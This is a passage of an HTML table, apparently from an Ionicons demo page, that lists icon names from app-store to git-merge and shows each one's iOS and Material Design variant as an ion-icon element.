    <ion-icon name="md-appstore" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    archive
  </td>
  <td class="align-center">
    <ion-icon name="ios-archive" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-archive" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-back
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-back" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-back" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-down
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-down" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-down" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropdown
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropdown" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropdown" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropdown-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropdown-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropdown-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropleft
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropleft" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropleft" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropleft-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropleft-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropleft-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropright
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropright" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropright" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropright-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropright-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropright-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropup
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropup" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropup" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-dropup-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-dropup-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-dropup-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-forward
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-forward" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-forward" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-round-back
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-round-back" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-round-back" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-round-down
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-round-down" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-round-down" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-round-forward
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-round-forward" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-round-forward" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-round-up
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-round-up" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-round-up" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    arrow-up
  </td>
  <td class="align-center">
    <ion-icon name="ios-arrow-up" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-arrow-up" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    at
  </td>
  <td class="align-center">
    <ion-icon name="ios-at" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-at" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    attach
  </td>
  <td class="align-center">
    <ion-icon name="ios-attach" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-attach" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    backspace
  </td>
  <td class="align-center">
    <ion-icon name="ios-backspace" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-backspace" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    barcode
  </td>
  <td class="align-center">
    <ion-icon name="ios-barcode" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-barcode" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    baseball
  </td>
  <td class="align-center">
    <ion-icon name="ios-baseball" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-baseball" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    basket
  </td>
  <td class="align-center">
    <ion-icon name="ios-basket" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-basket" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    basketball
  </td>
  <td class="align-center">
    <ion-icon name="ios-basketball" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-basketball" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    battery-charging
  </td>
  <td class="align-center">
    <ion-icon name="ios-battery-charging" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-battery-charging" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    battery-dead
  </td>
  <td class="align-center">
    <ion-icon name="ios-battery-dead" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-battery-dead" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    battery-full
  </td>
  <td class="align-center">
    <ion-icon name="ios-battery-full" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-battery-full" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    beaker
  </td>
  <td class="align-center">
    <ion-icon name="ios-beaker" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-beaker" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bed
  </td>
  <td class="align-center">
    <ion-icon name="ios-bed" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bed" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    beer
  </td>
  <td class="align-center">
    <ion-icon name="ios-beer" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-beer" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bicycle
  </td>
  <td class="align-center">
    <ion-icon name="ios-bicycle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bicycle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bluetooth
  </td>
  <td class="align-center">
    <ion-icon name="ios-bluetooth" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bluetooth" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    boat
  </td>
  <td class="align-center">
    <ion-icon name="ios-boat" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-boat" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    body
  </td>
  <td class="align-center">
    <ion-icon name="ios-body" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-body" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bonfire
  </td>
  <td class="align-center">
    <ion-icon name="ios-bonfire" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bonfire" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    book
  </td>
  <td class="align-center">
    <ion-icon name="ios-book" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-book" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bookmark
  </td>
  <td class="align-center">
    <ion-icon name="ios-bookmark" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bookmark" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bookmarks
  </td>
  <td class="align-center">
    <ion-icon name="ios-bookmarks" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bookmarks" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bowtie
  </td>
  <td class="align-center">
    <ion-icon name="ios-bowtie" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bowtie" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    briefcase
  </td>
  <td class="align-center">
    <ion-icon name="ios-briefcase" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-briefcase" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    browsers
  </td>
  <td class="align-center">
    <ion-icon name="ios-browsers" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-browsers" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    brush
  </td>
  <td class="align-center">
    <ion-icon name="ios-brush" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-brush" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bug
  </td>
  <td class="align-center">
    <ion-icon name="ios-bug" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bug" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    build
  </td>
  <td class="align-center">
    <ion-icon name="ios-build" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-build" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bulb
  </td>
  <td class="align-center">
    <ion-icon name="ios-bulb" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bulb" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    bus
  </td>
  <td class="align-center">
    <ion-icon name="ios-bus" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-bus" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    business
  </td>
  <td class="align-center">
    <ion-icon name="ios-business" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-business" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cafe
  </td>
  <td class="align-center">
    <ion-icon name="ios-cafe" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cafe" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    calculator
  </td>
  <td class="align-center">
    <ion-icon name="ios-calculator" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-calculator" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    calendar
  </td>
  <td class="align-center">
    <ion-icon name="ios-calendar" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-calendar" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    call
  </td>
  <td class="align-center">
    <ion-icon name="ios-call" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-call" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    camera
  </td>
  <td class="align-center">
    <ion-icon name="ios-camera" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-camera" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    car
  </td>
  <td class="align-center">
    <ion-icon name="ios-car" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-car" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    card
  </td>
  <td class="align-center">
    <ion-icon name="ios-card" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-card" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cart
  </td>
  <td class="align-center">
    <ion-icon name="ios-cart" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cart" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cash
  </td>
  <td class="align-center">
    <ion-icon name="ios-cash" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cash" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cellular
  </td>
  <td class="align-center">
    <ion-icon name="ios-cellular" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cellular" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    chatboxes
  </td>
  <td class="align-center">
    <ion-icon name="ios-chatboxes" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-chatboxes" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    chatbubbles
  </td>
  <td class="align-center">
    <ion-icon name="ios-chatbubbles" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-chatbubbles" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    checkbox
  </td>
  <td class="align-center">
    <ion-icon name="ios-checkbox" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-checkbox" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    checkbox-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-checkbox-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-checkbox-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    checkmark
  </td>
  <td class="align-center">
    <ion-icon name="ios-checkmark" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-checkmark" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    checkmark-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-checkmark-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-checkmark-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    checkmark-circle-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-checkmark-circle-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-checkmark-circle-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    clipboard
  </td>
  <td class="align-center">
    <ion-icon name="ios-clipboard" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-clipboard" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    clock
  </td>
  <td class="align-center">
    <ion-icon name="ios-clock" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-clock" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    close
  </td>
  <td class="align-center">
    <ion-icon name="ios-close" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-close" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    close-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-close-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-close-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    close-circle-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-close-circle-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-close-circle-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloud
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloud" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloud" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloud-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloud-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloud-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloud-done
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloud-done" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloud-done" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloud-download
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloud-download" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloud-download" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloud-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloud-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloud-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloud-upload
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloud-upload" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloud-upload" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloudy
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloudy" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloudy" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cloudy-night
  </td>
  <td class="align-center">
    <ion-icon name="ios-cloudy-night" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cloudy-night" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    code
  </td>
  <td class="align-center">
    <ion-icon name="ios-code" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-code" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    code-download
  </td>
  <td class="align-center">
    <ion-icon name="ios-code-download" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-code-download" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    code-working
  </td>
  <td class="align-center">
    <ion-icon name="ios-code-working" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-code-working" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cog
  </td>
  <td class="align-center">
    <ion-icon name="ios-cog" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cog" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    color-fill
  </td>
  <td class="align-center">
    <ion-icon name="ios-color-fill" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-color-fill" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    color-filter
  </td>
  <td class="align-center">
    <ion-icon name="ios-color-filter" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-color-filter" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    color-palette
  </td>
  <td class="align-center">
    <ion-icon name="ios-color-palette" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-color-palette" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    color-wand
  </td>
  <td class="align-center">
    <ion-icon name="ios-color-wand" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-color-wand" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    compass
  </td>
  <td class="align-center">
    <ion-icon name="ios-compass" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-compass" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    construct
  </td>
  <td class="align-center">
    <ion-icon name="ios-construct" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-construct" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    contact
  </td>
  <td class="align-center">
    <ion-icon name="ios-contact" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-contact" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    contacts
  </td>
  <td class="align-center">
    <ion-icon name="ios-contacts" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-contacts" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    contract
  </td>
  <td class="align-center">
    <ion-icon name="ios-contract" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-contract" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    contrast
  </td>
  <td class="align-center">
    <ion-icon name="ios-contrast" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-contrast" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    copy
  </td>
  <td class="align-center">
    <ion-icon name="ios-copy" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-copy" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    create
  </td>
  <td class="align-center">
    <ion-icon name="ios-create" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-create" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    crop
  </td>
  <td class="align-center">
    <ion-icon name="ios-crop" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-crop" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cube
  </td>
  <td class="align-center">
    <ion-icon name="ios-cube" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cube" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    cut
  </td>
  <td class="align-center">
    <ion-icon name="ios-cut" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-cut" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    desktop
  </td>
  <td class="align-center">
    <ion-icon name="ios-desktop" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-desktop" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    disc
  </td>
  <td class="align-center">
    <ion-icon name="ios-disc" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-disc" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    document
  </td>
  <td class="align-center">
    <ion-icon name="ios-document" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-document" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    done-all
  </td>
  <td class="align-center">
    <ion-icon name="ios-done-all" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-done-all" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    download
  </td>
  <td class="align-center">
    <ion-icon name="ios-download" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-download" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    easel
  </td>
  <td class="align-center">
    <ion-icon name="ios-easel" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-easel" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    egg
  </td>
  <td class="align-center">
    <ion-icon name="ios-egg" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-egg" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    exit
  </td>
  <td class="align-center">
    <ion-icon name="ios-exit" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-exit" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    expand
  </td>
  <td class="align-center">
    <ion-icon name="ios-expand" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-expand" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    eye
  </td>
  <td class="align-center">
    <ion-icon name="ios-eye" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-eye" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    eye-off
  </td>
  <td class="align-center">
    <ion-icon name="ios-eye-off" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-eye-off" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    fastforward
  </td>
  <td class="align-center">
    <ion-icon name="ios-fastforward" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-fastforward" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    female
  </td>
  <td class="align-center">
    <ion-icon name="ios-female" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-female" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    filing
  </td>
  <td class="align-center">
    <ion-icon name="ios-filing" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-filing" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    film
  </td>
  <td class="align-center">
    <ion-icon name="ios-film" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-film" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    finger-print
  </td>
  <td class="align-center">
    <ion-icon name="ios-finger-print" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-finger-print" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    fitness
  </td>
  <td class="align-center">
    <ion-icon name="ios-fitness" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-fitness" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    flag
  </td>
  <td class="align-center">
    <ion-icon name="ios-flag" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-flag" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    flame
  </td>
  <td class="align-center">
    <ion-icon name="ios-flame" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-flame" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    flash
  </td>
  <td class="align-center">
    <ion-icon name="ios-flash" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-flash" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    flash-off
  </td>
  <td class="align-center">
    <ion-icon name="ios-flash-off" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-flash-off" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    flashlight
  </td>
  <td class="align-center">
    <ion-icon name="ios-flashlight" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-flashlight" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    flask
  </td>
  <td class="align-center">
    <ion-icon name="ios-flask" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-flask" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    flower
  </td>
  <td class="align-center">
    <ion-icon name="ios-flower" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-flower" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    folder
  </td>
  <td class="align-center">
    <ion-icon name="ios-folder" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-folder" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    folder-open
  </td>
  <td class="align-center">
    <ion-icon name="ios-folder-open" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-folder-open" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    football
  </td>
  <td class="align-center">
    <ion-icon name="ios-football" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-football" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    funnel
  </td>
  <td class="align-center">
    <ion-icon name="ios-funnel" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-funnel" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    gift
  </td>
  <td class="align-center">
    <ion-icon name="ios-gift" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-gift" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    git-branch
  </td>
  <td class="align-center">
    <ion-icon name="ios-git-branch" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-git-branch" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    git-commit
  </td>
  <td class="align-center">
    <ion-icon name="ios-git-commit" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-git-commit" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    git-compare
  </td>
  <td class="align-center">
    <ion-icon name="ios-git-compare" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-git-compare" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    git-merge
  </td>
  <td class="align-center">
    <ion-icon name="ios-git-merge" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-git-merge" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
